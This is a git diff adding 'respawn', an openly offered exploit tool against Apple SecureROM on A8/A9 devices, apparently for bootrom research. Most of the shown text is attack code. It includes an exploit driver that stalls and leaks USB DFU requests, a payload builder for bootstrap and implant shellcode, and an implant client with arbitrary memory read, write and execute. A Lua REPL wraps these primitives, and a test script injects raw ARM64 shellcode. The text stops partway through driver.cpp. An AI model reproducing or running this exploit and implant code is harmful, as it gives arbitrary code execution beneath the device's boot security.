diff --git a/.clang-format b/.clang-format new file mode 100644 index 0000000..928c594 --- /dev/null +++ b/.clang-format @@ -0,0 +1,5 @@ +--- +BasedOnStyle: LLVM + +AlignConsecutiveMacros: true +... diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a99cd59 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +src/payload/*.h +*.bin diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..8e481e9 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,18 @@ +[submodule "external/jsx"] + path = external/jsx + url = git@github.com:jonpalmisc/jsx.git +[submodule "external/sioku"] + path = external/sioku + url = git@github.com:jonpalmisc/sioku.git +[submodule "external/argh"] + path = external/argh + url = git@github.com:adishavit/argh.git +[submodule "external/linenoise"] + path = external/linenoise + url = git@github.com:jonpalmisc/linenoise.git +[submodule "external/lua"] + path = external/lua + url = git@github.com:jonpalmisc/cmake_lua.git +[submodule "external/sol2"] + path = external/sol2 + url = git@github.com:ThePhD/sol2.git diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..398595a --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,45 @@ +cmake_minimum_required(VERSION 3.14 FATAL_ERROR) + +project(respawn VERSION 0.1.0) + +add_subdirectory(external/argh EXCLUDE_FROM_ALL) +add_subdirectory(external/sioku EXCLUDE_FROM_ALL) +add_subdirectory(external/jsx EXCLUDE_FROM_ALL) +add_subdirectory(external/linenoise EXCLUDE_FROM_ALL) + +set(LUA_BUILD_COMPILER OFF) +set(LUA_BUILD_INTERPRETER OFF) +add_subdirectory(external/lua EXCLUDE_FROM_ALL) +add_subdirectory(external/sol2 EXCLUDE_FROM_ALL) + +add_executable(respawn + src/exploit/driver.cpp + src/implant/client.cpp + src/implant/message.c + src/main.cpp + src/payload/builder.cpp + src/repl.cpp + src/usb/client.cpp) +target_compile_features(respawn PRIVATE cxx_std_17) +target_include_directories(respawn PRIVATE include) +target_link_libraries(respawn PRIVATE + argh + sioku + jsx::log + jsx::hex + linenoise + lua::lang + sol2::sol2) + +include(cmake/Payload.cmake) +add_payload(respawn src/payload/bootstrap.s) +add_payload(respawn src/payload/implant.s) + +install(TARGETS respawn DESTINATION .) +install(DIRECTORY lua DESTINATION .) + +set(CPACK_GENERATOR TXZ) +set(CPACK_STRIP_FILES ON) +set(CPACK_PACKAGE_NAME Respawn) +set(CPACK_PACKAGE_CHECKSUM SHA256) +include(CPack) diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..e477fba --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,26 @@ +Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/cmake/Payload.cmake b/cmake/Payload.cmake new file mode 100644 index 0000000..1a1d70a --- /dev/null +++ b/cmake/Payload.cmake @@ -0,0 +1,29 @@ +set(PAYLOAD_ASSEMBLER ${CMAKE_C_COMPILER}) +set(PAYLOAD_ASSEMBLER_FLAGS + -target arm64-apple-darwin + -Oz + -I${CMAKE_SOURCE_DIR}/include + -DPAYLOAD_SOURCE) + +function(add_payload PARENT SOURCE) + get_filename_component(NAME ${SOURCE} NAME_WE) + set(HEADER src/payload/${NAME}.h) + set(OBJECT ${CMAKE_CURRENT_BINARY_DIR}/${NAME}.o) + set(BINARY ${CMAKE_CURRENT_BINARY_DIR}/${NAME}.bin) + + # The generated header needs to be made a dependency of some other (normal) + # target so that it is actually generated. + target_sources(${PARENT} PRIVATE ${HEADER}) + + add_custom_command( + COMMENT "Generating payload header ${HEADER}" + OUTPUT ${CMAKE_SOURCE_DIR}/${HEADER} DEPENDS ${SOURCE} + WORKING_DIRECTORY ${CMAKE_SOURCE_DIR} + COMMAND ${PAYLOAD_ASSEMBLER} ${PAYLOAD_ASSEMBLER_FLAGS} -o ${OBJECT} -c ${SOURCE} + COMMAND segedit ${OBJECT} -extract __TEXT __text ${BINARY} + COMMAND printf "%s\\n\\n" "// This file is auto-generated. Do not edit!" > ${HEADER} + COMMAND printf "%s\\n\\n" "#pragma once" >> ${HEADER} + COMMAND xxd -n ${NAME} -i ${BINARY} >> ${HEADER} + COMMAND rm ${OBJECT} + VERBATIM) +endfunction() diff --git a/external/argh b/external/argh new file mode 160000 index 0000000..c429ee2 --- /dev/null +++ b/external/argh @@ -0,0 +1 @@ +Subproject commit c429ee27134195b317e852324212bf39056bbff4 diff --git a/external/jsx b/external/jsx new file mode 160000 index 0000000..e3fa52d --- /dev/null +++ b/external/jsx @@ -0,0 +1 @@ +Subproject commit e3fa52d31b8b13f9a31df10867dd3b456842ca48 diff --git a/external/linenoise b/external/linenoise new file mode 160000 index 0000000..d99a6d3 --- /dev/null +++ b/external/linenoise @@ -0,0 +1 @@ +Subproject commit d99a6d3add50a1cf7a3f92a013bdf55bb8299d6a diff --git a/external/lua b/external/lua new file mode 160000 index 0000000..fb8ca8f --- /dev/null +++ b/external/lua @@ -0,0 +1 @@ +Subproject commit fb8ca8ff834102f0a8751b8978aeee0e1d04a874 diff --git a/external/sioku b/external/sioku new file mode 160000 index 0000000..c50111a --- /dev/null +++ b/external/sioku @@ -0,0 +1 @@ +Subproject commit c50111ae7bc53e38b30847cb7ad129a200622173 diff --git a/external/sol2 b/external/sol2 new file mode 160000 index 0000000..9c882a2 --- /dev/null +++ b/external/sol2 @@ -0,0 +1 @@ +Subproject commit 9c882a28fdb6f4ad79a53a4191b43ce48a661175 diff --git a/include/respawn/chip.h b/include/respawn/chip.h new file mode 100644 index 0000000..a77d316 --- /dev/null +++ b/include/respawn/chip.h @@ -0,0 +1,17 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +/// Known SoC chip IDs. +enum class Chip { + Invalid = 0, + + T7000 = 0x7000, // A8 + S8000 = 0x8000, // A9, Samsung + S8003 = 0x8003, // A9, TSMC +}; diff --git a/include/respawn/dfu.h b/include/respawn/dfu.h new file mode 100644 index 0000000..c17f8fd --- /dev/null +++ b/include/respawn/dfu.h @@ -0,0 +1,52 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +#include + +constexpr auto DFU_FILE_SUFFIX_SIZE = 0x10; +constexpr auto DFU_MAX_TRANSFER_SIZE = 0x800; + +// Like the USB request type flags, the enums below need to be used as integers +// since they are actually being sent and received over the wire. Once again, +// template hacks could be used to enable implicit conversions, etc. but +// begrudgingly using a C-style enum is more straightforward. See the comment +// on the `UsbRequestTypeFlags` enum for more context. + +/// DFU request types. +enum DfuRequest { + DFU_REQUEST_DOWNLOAD = 1, + DFU_REQUEST_UPLOAD = 2, + DFU_REQUEST_GET_STATUS = 3, + DFU_REQUEST_CLEAR_STATUS = 4, +}; + +/// DFU status. +enum DfuStatus : uint8_t { + DFU_STATUS_OK = 0, +}; + +/// DFU state. +enum DfuState : uint8_t { + DFU_STATE_MANIFEST_SYNC = 6, + DFU_STATE_MANIFEST = 7, + DFU_STATE_MANIFEST_WAIT_RESET = 8, +}; + +/// Reply structure returned by `DFU_GETSTATUS` requests. +struct DfuStatusReply { + DfuStatus status; + uint8_t timeout[3]; + DfuState state; + uint8_t index; + + /// Check if the reply has the expected status and state. + [[nodiscard]] bool has_state(DfuStatus status, DfuState state) const { + return this->status == status && this->state == state; + } +}; diff --git a/include/respawn/exploit/driver.h b/include/respawn/exploit/driver.h new file mode 100644 index 0000000..2e8a8f3 --- /dev/null +++ b/include/respawn/exploit/driver.h @@ -0,0 +1,41 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +#include "respawn/chip.h" +#include "respawn/usb/client.h" + +/// USB client responsible for "driving" the exploit process. +/// +/// This is a superset of the standard USB client class, but with additional +/// primitives used in the exploit process and a full exploit implementation. +class ExploitDriver : public UsbClient { + Chip m_chip; + bool m_dump_payloads; + + /// Save a payload to the disk. + static void dump_payload(std::vector const &payload, + const std::string &name); + + bool do_no_leak(); + bool do_request_stall(); + bool do_request_leak(); + + bool run_reset_step(); + bool run_setup_step(); + bool run_patch_step(); + +public: + ExploitDriver(UsbClient const &client, Chip chip, bool dump_payloads = false); + + /// Run the entire exploit. + /// + /// It is assumed that the device is in a "clean DFU" state at this point in + /// time, which is the responsibility of the caller to check. + bool run(); +}; diff --git a/include/respawn/implant/client.h b/include/respawn/implant/client.h new file mode 100644 index 0000000..12f4990 --- /dev/null +++ b/include/respawn/implant/client.h @@ -0,0 +1,65 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +#include "respawn/implant/message.h" +#include "respawn/usb/client.h" + +/// Register state shorthand type. +/// +/// Despite being a vector, functions returning this type will always provide +/// exactly eight elements, and only the first eight elements will ever be used +/// when this type is recieved as an argument. +/// +/// TODO: Make this a `std::array`. +using RegisterState = std::vector; + +/// Implant communication client. +/// +/// Supports reading and writing device memory, as well as branching to +/// arbitrary addresses with user-controlled register states. +class ImplantClient : public UsbClient { + + /// Send arbitrary data to the device. + /// + /// The implant (as well as the hook installed by the initial exploit) both + /// communicate by sending data over DFU; under the hood, this is really + /// performing a DFU "download" of the given data, which will then be + /// interpreted by the initial hook or implant. + UsbTransferResult send_data(void *data, size_t size); + + /// Send an implant message to the device. + UsbTransferResult send_message(RspnMessage &message); + + /// Perform a single-packet memory read, obeying the maximum packet size. + std::vector read_memory_single(uint64_t address, uint32_t length); + + /// Perform a single-packet memory write, obeying the maximum packet size. + bool write_memory_single(uint64_t address, uint8_t const *data, + uint32_t length); + +public: + explicit ImplantClient(UsbClient const &); + + /// Install the implant; must be called first. + bool install(); + + /// Send test message to check if the implant is installed and functional. + bool test(); + + /// Read data from the device's memory. + std::vector read_memory(uint64_t address, uint32_t length); + + /// Write data to the device's memory. + bool write_memory(uint64_t address, std::vector const &data); + bool write_memory(uint64_t address, uint8_t const *data, uint32_t length); + + /// Make the device branch and link to the destination address, using + /// the supplied registers as arguments. + RegisterState execute(uint64_t destination, RegisterState const &args); +}; diff --git a/include/respawn/implant/message.h b/include/respawn/implant/message.h new file mode 100644 index 0000000..8815871 --- /dev/null +++ b/include/respawn/implant/message.h @@ -0,0 +1,45 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +#include "respawn/implant/protocol.h" + +// The message infrastructure was originally intended to be portable between +// the host and payloads written in C; as such, it is written in pure C rather +// than C++, like the rest of the project. +#ifdef __cplusplus +extern "C" { +#endif + +#include "stdint.h" + +/// Custom "packet" structure used to communicate with the implant via USB. +typedef struct __attribute__((packed)) { + uint64_t magic; + + uint32_t type; + uint32_t reserved; + uint64_t arg; + + uint64_t length; + uint8_t body[RSPN_MESSAGE_BODY_SIZE]; +} RspnMessage; + +/// Initialize a message. +void rspn_message_init(RspnMessage *message, uint32_t type, uint64_t arg); + +/// Clear a message's body. +void rspn_message_clear_body(RspnMessage *message); + +/// Set a message's body. +void rspn_message_set_body(RspnMessage *message, uint8_t const *data, + uint16_t length); + +#ifdef __cplusplus +} +#endif diff --git a/include/respawn/implant/protocol.h b/include/respawn/implant/protocol.h new file mode 100644 index 0000000..b9196b5 --- /dev/null +++ b/include/respawn/implant/protocol.h @@ -0,0 +1,21 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +// WARNING: This file is included from both C/C++ code as well as assembly and +// must remain compatible with both! + +#define RSPN_MESSAGE_MAGIC 0x2d2a4e5053522a2d + +#define RSPN_MESSAGE_BODY_SIZE 0x100 + +#define RSPN_MESSAGE_TYPE_INVALID 0 +#define RSPN_MESSAGE_TYPE_EXECUTE 0x45 /* E */ +#define RSPN_MESSAGE_TYPE_READ 0x52 /* R */ +#define RSPN_MESSAGE_TYPE_WRITE 0x57 /* W */ +#define RSPN_MESSAGE_TYPE_TEST 0x54 /* T */ diff --git a/include/respawn/payload/builder.h b/include/respawn/payload/builder.h new file mode 100644 index 0000000..95dc749 --- /dev/null +++ b/include/respawn/payload/builder.h @@ -0,0 +1,34 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +#include "respawn/chip.h" + +#include + +struct RomArchTask; +struct OffsetsA8A9; + +/// Payload-building helper. +/// +/// Customizes embedded "template" payloads for different SoCs, features, etc. +class PayloadBuilder { + static std::vector make_payload_a8a9(OffsetsA8A9 const &offsets, + unsigned char const *shellcode, + size_t shellcode_size); + +public: + /// Get the "overwrite size" used for placement of the bootstrap payload. + static uint32_t overwrite_size(Chip chip); + + /// Create the initial exploit/bootstrapping payload. + static std::vector make_bootstrap(Chip chip); + + /// Create the implant payload. + static std::vector make_implant(); +}; diff --git a/include/respawn/payload/constants.h b/include/respawn/payload/constants.h new file mode 100644 index 0000000..00faef4 --- /dev/null +++ b/include/respawn/payload/constants.h @@ -0,0 +1,37 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +#define OPT_DEMOTE 0x1 +#define OPT_HALT 0x2 +#define OPT_TAG_SERIAL 0x4 +#define OPT_INSTALL_HOOK 0x8 + +// As a hack to resolve register aliases to numbers or names in C++ and +// assembly, respectively, behold `REG` macro. +// +// Assembly source including this file must define the `PAYLOAD_SOURCE` macro! +#ifdef PAYLOAD_SOURCE +#define REG(n) x##n +#else +#define REG(n) n +#endif + +// The convention below is that names of macros for registers holding function +// pointers should use the '_FN' suffix, while names of macros for registers +// holding other addresses should use the '_ADDR' suffix. + +#define REG_DFU_BASE REG(19) +#define REG_SERIAL REG(20) +#define REG_USB_SERIAL_DESC REG(21) +#define REG_DFU_HANDLE_REQUEST_FN_PTR REG(22) +#define REG_COPY_DEST REG(23) +#define REG_USB_TRANSFER_FN REG(24) +#define REG_CHIPID_BASE REG(26) +#define REG_USB_CREATE_DESC_FN REG(27) +#define REG_OPTIONS REG(28) diff --git a/include/respawn/payload/types.h b/include/respawn/payload/types.h new file mode 100644 index 0000000..78067cd --- /dev/null +++ b/include/respawn/payload/types.h @@ -0,0 +1,73 @@ +#pragma once + +#include + +// Contained below is a collection of lucky guesses regarding the structure of +// ROM types for use in crafting more elegant payloads. Some structures have +// been trimmed or obscured for brevity (while maintaining their correct sizes) +// to reduce unnecessary code. +// +// The story, all names, characters, and incidents portrayed in this production +// are fictitious. No identification with actual persons (living or deceased), +// places, buildings, and products is intended or should be inferred. + +struct RomArchTask { + uint64_t x[30]; + uint64_t lr; + uint64_t sp; + __uint128_t vregs[32]; + uint32_t fpscr[2]; +}; + +struct RomListNode { + uint64_t prev; + uint64_t next; +}; + +enum RomTaskState { + ROM_TASK_STATE_RUNNING = 2, +}; + +typedef uint64_t RomCallout[6]; + +#define TASK_STACK_LEN_MIN 0x4000 + +#define TASK_START_MAGIC 0x7374616B /* task */ +#define TASK_END_MAGIC 0x74736B32 /* tsk2 */ + +struct RomTask { + uint32_t start_magic; + uint8_t _a[4 + sizeof(RomListNode)]; + + RomListNode queue; + RomTaskState state; + + uint32_t irq_disable_count; + + RomArchTask arch; + RomCallout callout; + RomListNode waiters; + + uint32_t _b[2]; + + uint64_t routine; + uint64_t _c; + + uint64_t stack_base; + uint64_t stack_len; + + char name[16]; + uint32_t id; + + uint32_t end_magic; +}; + +struct RomHeapBlock { + uint64_t _a : 1; + uint64_t _b : 1; + uint64_t prev_size : 62; + + uint64_t size; + + uint8_t _c[0x30]; +}; diff --git a/include/respawn/repl.h b/include/respawn/repl.h new file mode 100644 index 0000000..014aa74 --- /dev/null +++ b/include/respawn/repl.h @@ -0,0 +1,30 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +#include "respawn/implant/client.h" + +#include + +/// REPL interface for communicating with the implant. +class Repl { + ImplantClient m_implant; + sol::state m_lua; + + /// Print the top of the Lua state's stack. + /// + /// In practice, this basically means "print what you'd expect to see after + /// running a line of code in the REPL". + static void print_stack_top(lua_State *lua_state, bool did_add_return); + +public: + explicit Repl(UsbClient const &usb_client); + + /// Start the REPL interface. + int run(); +}; diff --git a/include/respawn/usb/client.h b/include/respawn/usb/client.h new file mode 100644 index 0000000..5800973 --- /dev/null +++ b/include/respawn/usb/client.h @@ -0,0 +1,119 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +#include + +#include + +constexpr auto USB_VENDOR_ID_APPLE = 0x5ac; +constexpr auto USB_PRODUCT_ID_DFU = 0x1227; + +/// Backend-agnostic USB transfer state type. +enum class UsbTransferState { + Ok, + Stall, + Error, +}; + +/// USB control transfer result type. +/// +/// Holds the state of the transfer and the length of the response. Also serves +/// as an abstraction over the underlying transfer result type; see +/// documentation below for more context. +class UsbTransferResult { + // Due to the nature of this class, its constructor and methods are + // intentionally defined here in the header so they are always inlined. +public: + UsbTransferState state; + uint32_t length; + + UsbTransferResult(SiokuTransferResult result) : length(result.length) { + switch (result.state) { + case SiokuTransferStateOk: + state = UsbTransferState::Ok; + break; + case SiokuTransferStateStall: + state = UsbTransferState::Stall; + break; + case SiokuTransferStateError: + state = UsbTransferState::Error; + break; + } + } + + /// Shorthand to check the state of a transfer result. + [[nodiscard]] bool has_state(UsbTransferState state, + int32_t length = -1) const { + if (this->state != state) + return false; + + if (length < 0) + return true; + + return this->length == static_cast(length); + } + + /// Shorthand to determine if a transfer was successful. + [[nodiscard]] bool is_ok(int32_t expected_length = -1) const { + return has_state(UsbTransferState::Ok, expected_length); + } +}; + +/// USB connection client. +/// +/// In its current state, this is effectively just an C++/object-oriented +/// wrapper around Sioku. At one point in time, the possibility of multiple +/// backends (e.g. libusb) was considered, and this class would have also +/// served as a consistent API over whichever backend was chosen. +class UsbClient { + SiokuClient *m_handle; + +public: + UsbClient(uint16_t vendor_id, uint16_t product_id); + UsbClient(UsbClient const &client); + + /// Open a connection to the USB device. + /// + /// Will block execution until a device with the configured vendor/product ID + /// is found and a connection is successfully opened. + bool connect(); + + /// Disconnect from the USB device. + void disconnect(); + + /// Reset the connection to the USB device and re-connect. + bool reconnect(); + + /// Perform a USB control transfer. + UsbTransferResult transfer(uint8_t request_type, uint8_t request, + uint16_t value, uint16_t index, void *data, + size_t length); + + UsbTransferResult transfer(uint8_t request_type, uint8_t request, + uint16_t value, uint16_t index, + std::vector data) { + return transfer(request_type, request, value, index, data.data(), + data.size()); + } + + /// Perform a USB control transfer, using a given structure as the body. + template + UsbTransferResult transfer(uint8_t request_type, uint8_t request, + uint16_t value, uint16_t index, DataTy &data) { + return transfer(request_type, request, value, index, &data, sizeof(DataTy)); + } + + /// Perform an asynchronous USB control transfer with a timeout. + UsbTransferResult transfer_async(uint8_t request_type, uint8_t request, + uint16_t value, uint16_t index, void *data, + size_t length, uint32_t timeout); + + /// Get the serial number of the connected USB device. + std::string serial_number(); +}; diff --git a/include/respawn/usb/protocol.h b/include/respawn/usb/protocol.h new file mode 100644 index 0000000..335e32f --- /dev/null +++ b/include/respawn/usb/protocol.h @@ -0,0 +1,66 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#pragma once + +#include + +constexpr auto EP0_MAX_PACKET_SIZE = 0x40; + +/// The "request type" parameter for USB control transfers is actually a +/// bitfield with three sub-parameters inside. These enumerators/constants are +/// exist to avoid using a bunch of magic numbers all over the code. +/// +/// Since these enumerators need to be combined with bitwise operators, this +/// can't be represented with a proper C++-style enum (at least without +/// template hacks which I don't care to implement), hence the C-style enum. +enum UsbRequestTypeFlags : uint8_t { + USB_RTF_TYPE_STANDARD = 0, + USB_RTF_TYPE_CLASS = 1 << 5, + + USB_RTF_RECIPIENT_DEVICE = 0, + USB_RTF_RECIPIENT_INTERFACE = 1, + + USB_RTF_DIRECTION_TO_DEVICE = 0, + USB_RTF_DIRECTION_TO_HOST = 1 << 7, + + USB_RTF_DCI = USB_RTF_DIRECTION_TO_DEVICE | USB_RTF_TYPE_CLASS | + USB_RTF_RECIPIENT_INTERFACE, + USB_RTF_HCI = USB_RTF_DIRECTION_TO_HOST | USB_RTF_TYPE_CLASS | + USB_RTF_RECIPIENT_INTERFACE, + USB_RTF_HSD = USB_RTF_DIRECTION_TO_HOST | USB_RTF_TYPE_STANDARD | + USB_RTF_RECIPIENT_INTERFACE, +}; + +/// Standard USB control transfer request values. +enum UsbRequest : uint8_t { + USB_REQUEST_GET_DESCRIPTOR = 6, +}; + +constexpr auto USB_MAX_DESCRIPTOR_INDEX = 0xA; + +/// USB device descriptor structure. +/// +/// > "I can't believe it's not packed!" +/// +/// Turns out the alignment just works out. +struct UsbDeviceDescriptor { + uint8_t length; + uint8_t type; + uint16_t usb_spec_bcd; + uint8_t device_class; + uint8_t device_subclass; + uint8_t protocol; + uint8_t max_packet_size; + uint16_t vendor_id; + uint16_t product_id; + uint16_t device_bcd; + uint8_t manufacturer_index; + uint8_t product_index; + uint8_t serial_index; + uint8_t config_count; +}; diff --git a/lua/device.lua b/lua/device.lua new file mode 100644 index 0000000..8383307 --- /dev/null +++ b/lua/device.lua @@ -0,0 +1,43 @@ +-- +-- Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +-- +-- Use of this source code is governed by the BSD 3-Clause license; a full +-- copy of the license can be found in the LICENSE.txt file. +-- + +-- This module is meant to wrap the (device-related) primitives exposed to Lua +-- by C++; it is the only module that should use them directly. +M = {} + +-- Read memory from the device. +function M.read(address, length) + return __respawn_read(address, length) +end + +-- Write memory to the device. +function M.write(address, buffer) + __respawn_write(address, buffer) +end + +-- Force a branch to an arbitrary address on the device. +function M.exec(address, args) + return __respawn_exec(address, args) +end + +-- Reconnect to the device. +function M.reconnect() + __respawn_reconnect() +end + +-- Reset the device. This does NOT refer to "resetting" a device in the context +-- of a USB stack, but rather calls `platform_reset` on the device. +function M.reset() + -- This will either work as intended on T7000 (because that's what the + -- address below is coded for) or crash on other devices, or at least the + -- ones with working reset routines (looking at you, S8000). + -- + -- In any case, the device restarts! + M.exec(0x10000138c, {}) +end + +return M diff --git a/lua/hex.lua b/lua/hex.lua new file mode 100644 index 0000000..2d458b1 --- /dev/null +++ b/lua/hex.lua @@ -0,0 +1,22 @@ +-- +-- Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +-- +-- Use of this source code is governed by the BSD 3-Clause license; a full +-- copy of the license can be found in the LICENSE.txt file. +-- + +-- Functions for printing hex dumps & strings are also exposed by C++; similar +-- to the device module, this module exists to wrap them. +M = {} + +-- Print a hex dump of a buffer. +function M.dump(buffer, base) + __hex_dump(buffer, base or 0) +end + +-- Print a hex string of a buffer. +function M.print(buffer) + __hex_print(buffer) +end + +return M diff --git a/lua/init.lua b/lua/init.lua new file mode 100644 index 0000000..daf7fea --- /dev/null +++ b/lua/init.lua @@ -0,0 +1,17 @@ +-- +-- Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +-- +-- Use of this source code is governed by the BSD 3-Clause license; a full +-- copy of the license can be found in the LICENSE.txt file. +-- + +-- This file is automatically loaded when the REPL is initialized and is +-- intended to populate the REPL environment with useful modules & functions. + +device = require("device") +hex = require("hex") +interactive = require("interactive") + +-- Alias for the interactive module since it sucks to type out every time and +-- there's no chance the REPL is ever getting tab completion. +ia = interactive diff --git a/lua/interactive.lua b/lua/interactive.lua new file mode 100644 index 0000000..8ecd927 --- /dev/null +++ b/lua/interactive.lua @@ -0,0 +1,33 @@ +-- +-- Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +-- +-- Use of this source code is governed by the BSD 3-Clause license; a full +-- copy of the license can be found in the LICENSE.txt file. +-- + +-- This module is intended to wrap existing functionality (primarily the device +-- module) with more REPL-friendly interfaces, e.g. by automatically printing a +-- hex dump of the returned memory after performing a read. +M = {} + +-- Read and dump memory from the device. +function M.read(address, length) + local mem = device.read(address, length) + hex.dump(mem, address) +end + +-- Write to device memory. +function M.write(address, buffer) + device.write(address, buffer) +end + +-- Branch to an address and print register state upon return. +function M.exec(address, args) + local regs = device.exec(address, args or {}) + + for i = 1, #regs do + print(string.format("x%d: 0x%016x", i - 1, regs[i])) + end +end + +return M diff --git a/lua/test.lua b/lua/test.lua new file mode 100644 index 0000000..4a8d4eb --- /dev/null +++ b/lua/test.lua @@ -0,0 +1,77 @@ +-- +-- Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +-- +-- Use of this source code is governed by the BSD 3-Clause license; a full +-- copy of the license can be found in the LICENSE.txt file. +-- + +local device = require("device") + +-- Read a string from device memory. +function read_string(address, length) + return string.char(table.unpack(device.read(address, length))) +end + +print("Checking ROM tag...") +local tag = read_string(0x100000200, 9) +if tag ~= "SecureROM" then + print("Error: Failed to read ROM tag or ROM tag is wrong!") + print('Error: Got "' .. tag .. '", expected "SecureROM".') + return +end + +-- XXX: Hardcoded for now, but needs to become a parameter eventually. +local dfu_base = 0x180380000 +local scratch_address = dfu_base + 0x130 + +print("Testing write to DFU region...") +local string_wrote = "Respawn!" +device.write(scratch_address, string_wrote) + +print("Checking for written value in DFU region...") +local string_read = read_string(scratch_address, #string_wrote) +if string_read ~= string_wrote then + print("Error: Failed to read from DFU region or write failed!") + print( + 'Error: Got "' .. string_read .. '", expected "' .. string_wrote .. '".' + ) + return +end + +-- add x0, x0, #0xff +-- add x1, x1, #0x11 +-- add x2, x2, #0x22 +-- ... +-- add x7, x7, #0x77 +local test_shellcode = "\x00\xfc\x03\x91!D\x00\x91B\x88\x00\x91c\xcc\x00\x91" + .. "\x84\x10\x01\x91\xa5T\x01\x91\xc6\x98\x01\x91\xe7\xdc\x01\x91\xc0\x03_\xd6" + +print("Writing test shellcode...") +device.write(scratch_address, test_shellcode) + +local test_args = + { 0xf000, 0x1000, 0x2000, 0x3000, 0x4000, 0x5000, 0x6000, 0x7000 } + +print("Executing test shellcode...") +local regs = device.exec(scratch_address, test_args) +for i = 1, #regs do + local increment = 0x11 * (i - 1) + if i == 1 then + increment = 0xff + end + + local expected = test_args[i] + increment + if regs[i] ~= expected then + print( + string.format( + "Error: Expected 0x%x in X%d, got %x!", + expected, + i - 1, + regs[i] + ) + ) + return + end +end + +print("All tests passed!") diff --git a/src/exploit/driver.cpp b/src/exploit/driver.cpp new file mode 100644 index 0000000..96efd33 --- /dev/null +++ b/src/exploit/driver.cpp @@ -0,0 +1,167 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#include "respawn/exploit/driver.h" + +#include "respawn/dfu.h" +#include "respawn/payload/builder.h" +#include "respawn/usb/protocol.h" + +#include + +#include + +ExploitDriver::ExploitDriver(UsbClient const &client, Chip chip, + bool dump_payloads) + : UsbClient(client), m_chip(chip), m_dump_payloads(dump_payloads) {} + +bool ExploitDriver::do_no_leak() { + auto result = transfer_async(USB_RTF_HSD, USB_REQUEST_GET_DESCRIPTOR, 0x304, + USB_MAX_DESCRIPTOR_INDEX, nullptr, + 3 * EP0_MAX_PACKET_SIZE + 1, 1); + return result.length == 0; +} + +void ExploitDriver::dump_payload(std::vector const &payload, + const std::string &name) { + jsx::log_debug("Saving payload `%s.bin`...", name.c_str()); + + auto file = std::fopen((name + ".bin").c_str(), "wb"); + std::fwrite(payload.data(), 1, payload.size(), file); + std::fclose(file); 